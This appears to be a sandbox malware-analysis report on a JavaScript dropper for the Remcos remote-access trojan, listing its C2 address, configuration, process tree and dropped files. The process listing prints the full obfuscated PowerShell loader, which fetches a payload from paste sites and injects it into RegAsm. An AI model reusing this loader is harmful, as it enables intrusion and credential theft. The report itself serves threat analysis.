Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/03/2026, 07:13

General

  • Target
    ad468c45522cddd5c412a6a65269b388.js
  • Size 33KB
  • Sample260308-h2blesc131
  • SHA256 08f4e43fac6f13d0e30b38273d7e2885a76cc5024b91dc2a1bb9ca971d47786e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.2.1 Pro

Botnet
  • RemoteHost

C2
  • 192.3.27.141:8087

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-QR3EYI

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ad468c45522cddd5c412a6a65269b388.js
    1⤵
      PID:4452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdgdfhdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEUAUgB2AGIAVwBGAHAAYgBf#AHgAdgBZAFcAUgBsAGMAbgB0AHcAZABXAEoAcwBhAFcATQBnAGMAMwBSAGgAZABHAGwAagBJAEUARgB6AGMAMgBWAHQAWQBtAHgANQBJAEUAeAB2AFkAVwBSAEIAYwAzAE4AbABiAFcASgBzAGUAUwBoAGkAZQBYAFIAbABXADEAMABnAFkAaQBsADcAYwBtAFYAMABkAFgASgB1AEkARQBGAHcAYwBFAFIAdgBiAFcARgBwAGIAaQA1AEQAZABYAEoAeQBaAFcANQAwAFIARwA5AHQAWQBXAGwAdQBMAGsAeAB2AFkAVwBRAG8AWQBpAGsANwBmAFgAMAA9ACcADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIANgA0ACkAKQApAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABkACgAJABsACkAewAkAHcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACgARwBlAHQALQBSAGEAbgBkAG8AbQAgACQAbAAgAC0AQwBvAHUAbgB0ACAAJABsAC4AQwBvAHUAbgB0ACkAfAAlAHsAdAByAHkAewByAGUAdAB1AHIAbgAgACQAdwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABfACkAfQBjAGEAdABjAGgAewB9AH0AfQANAAoAZgB1AG4AYwB0AGkAbwBuACAAaQAoACQAYQAsACQAdAAsACQAbQAsACQAcAA9AEAAKAApACkAewAkAHkAPQBbAEQAbwBtAGEAaQBuAEwAbwBhAGQAZQByAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwB5AGEAcwBvAC4AcwB1AC8AcgBhAHcALwBVAHAAeABDADgATwBKAFgAJwApACwAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAZgB5AC4AYQBwAHAALwBzAEwAQwA3AEoAcABf#AHAALwByAGEAdwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AEIAQQBTACcAIAAf#ACAAJwBFADYANABfAFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnACkAewANAAoAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgByAGEAcgBpAGsAZwBkAC8AdAB5AGgAdQBvAHIAdQBlAC8AdQBlAC4AcwBuAGQAeQAuAGwAaQBmAC8ALwA6AGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAwACcALAAgACcAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgANgA0ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$OhgfWjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdgdfhdjhsdfgdgo.replace('f#','r')));iex $OhgfWjuxD"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f0p3m4mm\f0p3m4mm.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1840
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF3D.tmp" "c:\Users\Admin\AppData\Local\Temp\f0p3m4mm\CSC2C4B051801E42C1A9E5DAA24FC6CD9.TMP"
          3⤵
            PID:4224
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4660
          • C:\Windows\SysWOW64\userinit.exe
            /stext "C:\Users\Admin\AppData\Local\Temp\lddghpochm"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1372
          • C:\Windows\SysWOW64\userinit.exe
            /stext "C:\Users\Admin\AppData\Local\Temp\vxjzahzwdupjpy"
            3⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:1212
          • C:\Windows\SysWOW64\userinit.exe
            /stext "C:\Users\Admin\AppData\Local\Temp\grosaarxrchwzmcew"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4704

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            logs.dat

            • Path C:\ProgramData\remcos\logs.dat
            • Size 144B
            • SHA256 2c343a4f8a5da95cfbbea7aa378df4a2be6307ce02a9d4c2d28a57cb717d830d
            • MD5 SHA1 SHA512 TLSH

            RESF3D.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESF3D.tmp
            • Size 1KB
            • SHA256 be08b451a4c13f6184fe2d9e1da174604e7f642c59998c538469611bb739d4d8
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_piyz3v2k.kkw.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_piyz3v2k.kkw.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            f0p3m4mm.dll

            • Path C:\Users\Admin\AppData\Local\Temp\f0p3m4mm\f0p3m4mm.dll
            • Size 3KB
            • SHA256 aed200f06bc8f6c484756e2b2ffe9a893ec78dbfbef22774fb7191f0935dbd6a
            • MD5 SHA1 SHA512 TLSH

            lddghpochm

            • Path C:\Users\Admin\AppData\Local\Temp\lddghpochm
            • Size 4KB
            • SHA256 9ef99983752a54c7f699f181d52e21509cd961622e7f835a3ca680fabb530af2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSC2C4B051801E42C1A9E5DAA24FC6CD9.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\f0p3m4mm\CSC2C4B051801E42C1A9E5DAA24FC6CD9.TMP
            • Size 652B
            • SHA256 2a632a3fcfc22ab1d09e224ab5756e3ed51d362153fb872302bacb7109b2150c
            • MD5 SHA1 SHA512 TLSH

            f0p3m4mm.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\f0p3m4mm\f0p3m4mm.0.cs
            • Size 155B
            • SHA256 0faaef9012132596f03ada696a8860a05114e0d499ff9c4a84c6da7da5e24be4
            • MD5 SHA1 SHA512 TLSH

            f0p3m4mm.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\f0p3m4mm\f0p3m4mm.cmdline
            • Size 369B
            • SHA256 55789dc2806638fcf145b36ea69c4816de7faa1ca13317232f06208ea052a7a7
            • MD5 SHA1 SHA512 TLSH

            memory/1212-52-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1212-46-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/1372-56-0x0000000001520000-0x0000000001538000-memory.dmp

            memory/1372-45-0x0000000000400000-0x000000000047E000-memory.dmp

            memory/1372-55-0x0000000001550000-0x00000000015AF000-memory.dmp

            memory/1372-54-0x0000000000400000-0x000000000047E000-memory.dmp

            memory/1840-23-0x0000015640610000-0x000001564061C000-memory.dmp

            memory/4224-20-0x0000016D2F980000-0x0000016D2F98C000-memory.dmp

            memory/4452-0-0x0000016FD1640000-0x0000016FD16EC000-memory.dmp

            memory/4452-1-0x0000016FD17A0000-0x0000016FD17AC000-memory.dmp

            memory/4660-61-0x0000000180000000-0x000000018001D000-memory.dmp

            memory/4660-28-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-39-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-107-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-106-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-42-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-37-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-43-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-44-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-30-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-34-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-84-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-73-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-74-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-31-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-35-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-66-0x000001E45BBF0000-0x000001E45BC9C000-memory.dmp

            memory/4660-63-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/4660-58-0x0000000180000000-0x000000018001D000-memory.dmp

            memory/4660-62-0x0000000180000000-0x000000018001D000-memory.dmp

            memory/4704-48-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/4704-47-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/5088-26-0x0000019A1BEE0000-0x0000019A1BEF0000-memory.dmp

            memory/5088-2-0x0000019A1BEE0000-0x0000019A1BEF0000-memory.dmp

            memory/5088-27-0x0000019A1BED0000-0x0000019A1BEE0000-memory.dmp

            memory/5088-25-0x0000019A03B20000-0x0000019A03B28000-memory.dmp

            memory/5088-8-0x0000019A1BE80000-0x0000019A1BEA2000-memory.dmp

            memory/5088-40-0x0000019A01FA0000-0x0000019A0204C000-memory.dmp

            memory/5088-41-0x0000019A02150000-0x0000019A0215C000-memory.dmp